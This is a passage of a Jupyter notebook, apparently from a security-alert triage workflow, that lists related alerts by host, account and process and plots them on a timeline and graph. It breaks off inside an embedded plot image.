is missing\")\n", " clearInterval(timer);\n", " }\n", " }, 10, root)\n", " }\n", "})(window);" ], "application/vnd.bokehjs_exec.v0+json": "" }, "metadata": { "application/vnd.bokehjs_exec.v0+json": { "id": "0fcc93d7-73f1-463c-9e2c-8ff2dbee138f" } }, "output_type": "display_data" } ], "source": [ "related_alerts = qry.list_related_alerts(provs=[query_times, security_alert])\n", "\n", "host_alert_items = related_alerts\\\n", " .query('host_match == @True')[['AlertType', 'StartTimeUtc']]\\\n", " .groupby('AlertType').StartTimeUtc.agg('count').to_dict()\n", "acct_alert_items = related_alerts\\\n", " .query('acct_match == @True')[['AlertType', 'StartTimeUtc']]\\\n", " .groupby('AlertType').StartTimeUtc.agg('count').to_dict()\n", "proc_alert_items = related_alerts\\\n", " .query('proc_match == @True')[['AlertType', 'StartTimeUtc']]\\\n", " .groupby('AlertType').StartTimeUtc.agg('count').to_dict()\n", "\n", "def print_related_alerts(alertDict, entityType, entityName):\n", " if len(alertDict) > 0:\n", " print('Found {} different alert types related to this {} (\\'{}\\')'.format(len(alertDict), entityType, entityName))\n", " for (k,v) in alertDict.items():\n", " print(' {}, Count of alerts: {}'.format(k, v))\n", " else:\n", " print('No alerts for {} entity \\'{}\\''.format(entityType, entityName))\n", "\n", "print_related_alerts(host_alert_items, 'host', security_alert.hostname)\n", "print_related_alerts(acct_alert_items, 'account', \n", " security_alert.primary_account.qualified_name if security_alert.primary_account\n", " else None)\n", "print_related_alerts(proc_alert_items, 'process', \n", " security_alert.primary_process.ProcessFilePath if security_alert.primary_process\n", " else None)\n", "nbdisp.display_timeline(data=related_alerts, source_columns = ['AlertName'], title='Alerts', height=100)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Show these related alerts on a graph\n", "This should indicate which entities the other alerts are related to.\n", "\n", "This can be unreadable with a lot of alerts. Use the matplotlib interactive zoom control to zoom in to part of the graph." ] }, { "cell_type": "code", "execution_count": 34, "metadata": { "scrolled": false }, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "C:\\Users\\Ian\\Anaconda3\\lib\\site-packages\\networkx\\drawing\\nx_pylab.py:611: MatplotlibDeprecationWarning:\n", "\n", "isinstance(..., numbers.Number)\n", "\n" ] }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAA3gAAANXCAYAAABnlP2tAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADl0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uIDMuMC4yLCBodHRwOi8vbWF0cGxvdGxpYi5vcmcvOIA7rQAAIABJREFUeJzs3Wd4VFX7/v3vpIckQKiht0AoUgQRkSqIdAIhFEG6NEEpAoI06b03QYSbDqGDdDA0EaT3llACARIS0ntm5nkRGIlU9Xf/vZ3n/LzJkZld1uzZM8c+Z629LoPZbEZERERERET+/Wz+6QaIiIiIiIjI/w0FPBERERERESuhgCciIiIiImIlFPBERERERESshAKeiIiIiIiIlVDAExERERERsRIKeCIiIiIiIlZCAU9ERERERMRKKOCJiIiIiIhYCQU8ERERERERK6GAJyIiIiIiYiXs/ukGvIYjUBF4CBj/4baIiIiIiIj8v2YL5AJOAklvs8L/csCrCBz5pxshIiIiIiLyD6sGHH2bBf+XA95DgIiIOEwm8z/dFvkvy5rVlfDw2H+6GSL/FTq/xZrp/BZrpvNb/mk2Ngbc3V3gaTZ6G//LAc8IYDKZFfD+f0Lvs1gznd9izXR+izXT+S3/I976ljVNsiIiIiIiImIlFPBERERERESshAKeiIiIiIiIlVDAExERERERsRIKeCIiIiIiIlZCAU9ERERERMRKKOCJiIiIiIhYCQU8ERERERERK6GAJyIiIiIiYiUU8ERERERERKyEAp6IiIiIiIiVUMATERERERGxEgp4IiIiIiIiVkIBT0RERERExEoo4ImIiIiIiFgJBTwREREREREroYAnIiIiIiJiJRTwRERERERErIQCnoiIiIiIiJVQwBMREREREbESCngiIiIiIiJWQgFPRERERETESijgiYiIiIiIWAkFPBERERERESuhgCciIiIiImIlFPBERERERESshAKeiIiIiIiIlVDAExERERERsRIKeCIiIiIiIlZCAU9ERERERMRKKOCJiIiIiIhYCQU8ERERERERK6GAJyIiIiIiYiUU8ERERERERKyEAp6IiIiIiIiVUMATERERERGxEgp4IiIiIiIiVkIBT0RERERExEoo4ImIiIiIiFgJBTwREREREREroYAnIiIiIiJiJRTwRERERERErIQCnoiIiIiIiJVQwBMREREREbESCngiIiIiIiJWQgFPRERERETESijgiYiIiIiIWAkFPBERERERESuhgCciIiIiImIlFPBERERERESshAKeiIiIiIiIlVDAExERERERsRIKeCIiIiIiIlZCAU9ERERERMRKKOCJiIiIiIhYCQU8ERERERERK6GAJyIiIiIiYiUU8ERERERERKyEAp6IiIiIiIiVUMATERERERGxEgp4IiIiIiIiVkIBT0RERERExEoo4ImIiIiIiFgJBTwREREREREroYAnIiIiIiJiJRTwRERERERErIQCnoiIiIiIiJVQwBMREREREbESCngiIiIiIiJWQgFPRERERETESijgiYiIiIiIWAkFPBERERERESuhgCciIiIiImIlFPBERERERESshAKeiIiIiIiIlVDAExERERERsRIKeCIiIiIiIlZCAU9ERERERMRKKOCJiIiIiIhYCQU8ERERERERK6GAJyIiIiIiYiUU8ERERERERKyEAp6IiIiIiIiVUMATERERERGxEgp4IiIiIiIiVkIBT0RERERExEoo4ImIiIiIiFgJBTwREREREREroYAnIiIiIiJiJRTwRERERERErMTfCnheXl5tvLy8rnh5ed308vLq9ZrlGnp5ed3+O/sSERERERGR1/vLAc/LyysPMA6oCpQDunl5eZV8yXI5gamA4a/uS0RERERERN7s7/TgfQz8fP369SfXr1+PAzYAvi9ZbjEw6m/sR0RERERERN7C3wl4uYGHz/3/EMj7/AJeXl5fAWeA439jPyIiIiIiIvIW7P7GujaA+bn/DYDp2T9eXl7vAM2B2vwh+P0ZWbO6/tVV5V8me3a3f7oJIv81Or/Fmun8Fmum81v+bf5OwLsPVHvufw/gwXP/twByAacAByC3l5fXkevXrz+/zhuFh8diMpnfvKD8q2XP7sbjxzH/dDNE/it0fos10/kt1kznt/zTbGwMf7rD6+8EvP3Ad15eXtmBONJ667o9e/L69esjgZEAXl5eBYGDfzbciYiIiIiIyNv7y/fgXb9+PRgYCvgD54DV169f/83Ly2unl5fXe/9XDRQREREREZG383d68Lh+/fpqYPUfHmvwkuXuAAX/zr5ERERERETk9f5WoXMRERERERH536GAJyIiIiIiYiUU8ERERERERKyEAp6IiIiIiIiVUMATERERERGxEgp4IiIiIiIiVkIBT0RERERExEoo4ImIiIiIiFgJBTwREREREREroYAnIiIiIiJiJRTwRERERERErIQCnoiIiIiIiJVQwBMREREREbESCngiIiIiIiJWQgFPRERERETESijgiYiIiIiIWAkFPBERERERESuhgCciIiIiImIlFPBERERERESshAKeiIiIiIiIlVDAExERERERsRIKeCIiIiIiIlZCAU9ERERERMRKKOCJiIiIiIhYCQU8ERERERERK6GAJyIiIiIiYiUU8ERERERERKyEAp6IiIiIiIiVUMATERERERGxEgp4IiIiIiIiVkIBT0RERERExEoo4ImIiIiIiFgJBTwREREREREroYAnIiIiIiJiJRTwRERERERErIQCnoiIiIiIiJVQwBMREREREbESCngiIiIiIiJWQgFPRERERETESijgiYiIiIiIWAkFPBERERERESuhgCeUK1ccX9/GtGzZlFatmuHtXY82bXy5fPniG9ft0qUd+/btfu0ywcH3+frrL/90u5Yt+5Hhwwf/qXXepj1/FBMTQ9euHd64XHDwfcqXL0nLlk1p2bIpLVo0oX371uzZs8uyzPz5s9m+fctrt3Pw4M9MmjQWgMOHDzJ//uw37vuvvC5rc/nyRQYM+OqNy7Vs2ZTo6Oj/By1Kr1y54kRERLx2mbd9v//oyy+7s3XrphceHz58MMuW/fintnXy5AmaN2/8p9vwKv/Xx/ttP/cLF87D3//AX97Ppk3rWbdu9Z9er3nzxpw8eeKNyyUlJTFv3ixatWpGy5ZN8fVtzNKlP2A2m/9Kc9/oVedWYGCA5TvrWTvKlSvOgQN7/yvtEBGRf57dP90A+d/www/LcXd3t/y/bNmPTJo0luXL1/3tbT94EMydO3f+9naeV65ccTw9i2JjY4vBYCAxMQEXF1fMZtMb1+3SpR2tW7elTp16AERHR3HpUvowGxx8n+nTJzFt2px0jzs6OuHn93uAe/AgmO7dO2Fra8PHH9fFxcWF3347TuPGTV+5/5o1a1GzZi0gLbRs3ryBokWLWdrzNmJiYujfvzc//LDsjcteuHCO2bOnExUViclkxsPDg379BuHpWfSt9/e2evXqRv/+gyhSxPOlz1++fJGlS39g6tQ/H3JKlSr9Vuv5+W0hLi6WUaOGc/HiOWxsbDAY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